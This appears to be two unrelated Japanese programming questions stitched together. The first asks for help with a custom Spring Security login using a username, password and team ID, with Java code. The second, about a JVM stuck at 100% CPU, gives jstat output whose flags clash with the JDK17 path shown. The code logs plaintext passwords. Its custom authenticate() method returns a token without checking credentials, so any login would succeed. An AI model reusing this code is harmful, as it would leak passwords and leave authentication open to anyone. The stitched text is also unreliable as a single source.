とりあえず具体的なログイン処理は後回しにしてDBから「ユーザー名」「パスワード」「チームID」を取得し、それらをそのまま認証情報として受け取り、ログイン成功させる所まで行きたいです。


以下ソースを記載します。(いろいろなサイトを参考にして試行錯誤しているため、読みづらく無駄な部分があるかと思います。。)
長くなってしまい大変恐縮ですが、宜しくお願い致します。

```java

@EnableWebSecurity
@Component
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

	private final Logger logger = LoggerFactory.getLogger(WebSecurityConfig.class);
	
	// 認証
	@Autowired
	private UserDaoAuthenticationProvider userDaoAuthenticationProvider;
	@Autowired
	private UserDetailsService userDetailsService;

	// 暗号化
	@Autowired
	private BCryptPasswordEncoder bCryptPasswordEncoder;

	@Autowired
	private UserAuthenticationFilter userAuthenticationFilter;

	@Override
	protected void configure(HttpSecurity httpSecurity) throws Exception {
		logger.info("WebSecurityConfig configure");

		httpSecurity.csrf();

		httpSecurity.authorizeRequests().antMatchers(LoginController.PAGE).permitAll().anyRequest().authenticated().and()
		.formLogin().loginPage(LoginController.PAGE).successForwardUrl(ProjectManageController.PAGE).defaultSuccessUrl(ProjectManageController.PAGE, false).failureUrl("/error").usernameParameter("user_name").passwordParameter("user_password").permitAll().and().authenticationProvider(userDaoAuthenticationProvider).addFilter(userAuthenticationFilter);
		// Filter消すとdefaultURL反映される
		//.formLogin().loginPage(LoginController.PAGE).successForwardUrl(ProjectManageController.PAGE).defaultSuccessUrl(ProjectManageController.PAGE, false).failureUrl("/error").usernameParameter("user_name").passwordParameter("user_password").permitAll().and().authenticationProvider(userDaoAuthenticationProvider);


	}

	@Override
	public void configure(WebSecurity web) throws Exception {
		web.ignoring().antMatchers("/resources/**", "/static/**", "/css/**", "/js/**", "/lib/**");
	}

	@Autowired
	public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
		logger.info("configureGlobal AuthenticationManagerBuilder start");
		logger.info(auth.toString());
		auth.authenticationProvider(userDaoAuthenticationProvider).userDetailsService(this.userDetailsService).passwordEncoder(bCryptPasswordEncoder);
		logger.info(auth.getDefaultUserDetailsService().toString());
		logger.info("configureGlobal AuthenticationManagerBuilder end");
	}

	@Autowired
	@Override
	protected void configure(AuthenticationManagerBuilder authenticationManagerBuilder) throws Exception {
		logger.info("configure AuthenticationManagerBuilder");
		authenticationManagerBuilder.authenticationProvider(userDaoAuthenticationProvider).userDetailsService(this.userDetailsService).passwordEncoder(bCryptPasswordEncoder);// 入力値をbcryptでハッシュ化した値でパスワード認証を行うように設定
	}

	@Autowired
	public void setUserDetailsService(UserDetailsService userDetailsService) {
		logger.info("setUserDetailsService");
		this.userDetailsService = userDetailsService;
	}
}

```

```java
package com.omoumou.gantt.web.login;


@Component
public class UserAuthenticationFilter extends UsernamePasswordAuthenticationFilter {

	private static final Logger logger = LoggerFactory.getLogger(UserAuthenticationFilter.class);

	@Autowired
	UserMapper userMapper;

	@Autowired
	private BCryptPasswordEncoder bCryptPasswordEncoder;


	// これがないとだめらしい。フィールド形式のAutowiredだとエラーになる
	@Autowired
	public void setAuthenticationManager(AuthenticationManager authenticationManager) {
	    super.setAuthenticationManager(authenticationManager);
	}


	@Override
	public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException {
		logger.info("UserAuthenticationFilter attemptAuthentication");
		if (!request.getMethod().equals("POST")) {
			throw new AuthenticationServiceException("Authentication method not supported: "
					+ request.getMethod());
		}

		setUsernameParameter("user_name");
		setPasswordParameter("user_password");
		String username = super.obtainUsername(request);
		String password = super.obtainPassword(request);
		String teamId = obtainTeamId(request);


		logger.info("debug001:" + request);
		logger.info("debug001:" +request.getHeaderNames());
		logger.info("debug001:" +request.getLocalAddr());
		logger.info("debug001:" + teamId);
		logger.info("debug001:" + username);
		logger.info("debug001:" + password);



		// username required
		if (!StringUtils.hasText(username)) {
			logger.info("UserName is required");
			throw new AuthenticationServiceException("UserName is required");
		}

		LoginUserModel loginUserModel = userMapper.loginUserCheck(username, teamId);

		// 動作確認のためお試し
		if(loginUserModel != null){
			logger.info("debug001: " + loginUserModel.getUserName());
			boolean isLoginSsuccess = bCryptPasswordEncoder.matches(password, loginUserModel.getUserPassword());

			if (!isLoginSsuccess) {
				logger.info("debug001:パスワードが正しくありません。");
				throw new AuthenticationCredentialsNotFoundException("ログイン情報が存在しません。");
			}else{

				logger.info("debug001:パスワードが正しいお");
			}
		}


		UserAuthenticationToken authRequest =  new UserAuthenticationToken(username, password, teamId);

		// Allow subclasses to set the "details" property
		setDetails(request, authRequest);

		return this.getAuthenticationManager().authenticate(authRequest);
	}

	protected String obtainTeamId(HttpServletRequest request) {
		return request.getParameter("team_id");
	}
}
```


```java
package com.omoumou.gantt.web.login;

public class UserAuthenticationToken extends UsernamePasswordAuthenticationToken {

	private static final long serialVersionUID = SpringSecurityCoreVersion.SERIAL_VERSION_UID;

	private static final Logger logger = LoggerFactory.getLogger(UserAuthenticationToken.class);

	//チームID
	private final String teamId;

	public UserAuthenticationToken(Object principal, Object credentials, String teamId) {
		super(principal, credentials);
		this.teamId = teamId;
		logger.info("UserAuthenticationToken 1 ");
	}

	public UserAuthenticationToken(Object principal, Object credentials, String teamId, Collection<? extends GrantedAuthority> authorities) {
		super(principal, credentials, authorities);
		this.teamId = teamId;
		logger.info("UserAuthenticationToken 2 ");
	}

	public String getTeamId() {
        return this.teamId;
    }
}
```


```java
package com.omoumou.gantt.web.login;

@Component
public class UserDaoAuthenticationProvider extends DaoAuthenticationProvider {

	private static final Logger logger = LoggerFactory.getLogger(UserDaoAuthenticationProvider.class);

	@Autowired
	private UserDetailsService userDetailsService;

	@Autowired
	UserMapper userMapper;

	@Autowired
	private BCryptPasswordEncoder bCryptPasswordEncoder;


	@Autowired
	private UserAuthenticationFilter userAuthenticationFilter;

	// TODO: 以下のメソッドをOverrideしないとUserDetails must be setのエラーが発生してしまう。(継承元のクラスでエラーがでいていた)
	@Override
	protected void doAfterPropertiesSet() throws Exception {
		logger.info("doAfterPropertiesSet start");
		logger.info("doAfterPropertiesSet userDetailsService: " + userDetailsService.getClass());
	}

	@Override
	public Authentication authenticate(Authentication auth) throws AuthenticationException {

		logger.info("authenticate start");

		String username = auth.getName();
		String password = auth.getCredentials().toString();
		logger.info("authenticate username: " + username);
		logger.info("authenticate password: " + password);
		logger.info("authenticate end");

		return new UsernamePasswordAuthenticationToken(auth.getName(), auth.getCredentials(), auth.getAuthorities());
	}

	@Override
	protected void additionalAuthenticationChecks(UserDetails userDetails, UsernamePasswordAuthenticationToken authentication) throws AuthenticationException {
		super.additionalAuthenticationChecks(userDetails, authentication);
		logger.info("additionalAuthenticationChecks start");
		UserAuthenticationToken companyIdUsernamePasswordAuthentication = (UserAuthenticationToken) authentication;
		String requestedCompanyId = companyIdUsernamePasswordAuthentication.getTeamId();
		String companyId = ((LoginUser) userDetails).getUser().getTeamId();

		if (!companyId.equals(requestedCompanyId)) {
			throw new BadCredentialsException(messages.getMessage(
					"AbstractUserDetailsAuthenticationProvider.badCredentials",
					"Bad credentials"));
		}
	}

	@Override
	protected Authentication createSuccessAuthentication(Object principal, Authentication authentication, UserDetails user) {
		String companyId = ((LoginUser) user).getUser().getTeamId();
		return new UserAuthenticationToken(user, authentication.getCredentials(), companyId, user.getAuthorities());
	}

	@Override
	public boolean supports(Class<?> token) {
		logger.info("supports");
		return UsernamePasswordAuthenticationToken.class.isAssignableFrom(token);
	}
}

```

Spring Securityを拡張したいが、ログインが上手くいかない

以下のオプションを設定してjavaを動かしています
server -Xms1024M -Xmx1024M -XX:-UseGCOverheadLimit -XX:PermSize=256M -XX:MaxPermSize=256M

process exploreでjava.exeのプロセスを監視していると
しばらくして、cpuが100％近くなり、動かなくなります。

jstatで確認すると以下のようになります

D:\JDK17\bin>jstat -gcutil -h3 94020 1000
  S0     S1     E      O      P     YGC     YGCT    FGC    FGCT     GCT
  0.00   0.00 100.00 100.00  13.07    153    6.670    26  109.275  115.945
  0.00   0.00 100.00 100.00  13.07    153    6.670    26  109.275  115.945
  0.00   0.00 100.00 100.00  13.07    153    6.670    27  113.034  119.703
  S0     S1     E      O      P     YGC     YGCT    FGC    FGCT     GCT
  0.00   0.00 100.00 100.00  13.07    153    6.670    27  113.034  119.703
  0.00   0.00 100.00 100.00  13.07    153    6.670    27  113.034  119.703

なぜこうなってしまうのか、どのプログラムが悪いのか確認の方法があれば
教えてください。たくさんのプログラムが動いているのでわかりません。
宜しくお願いいたします。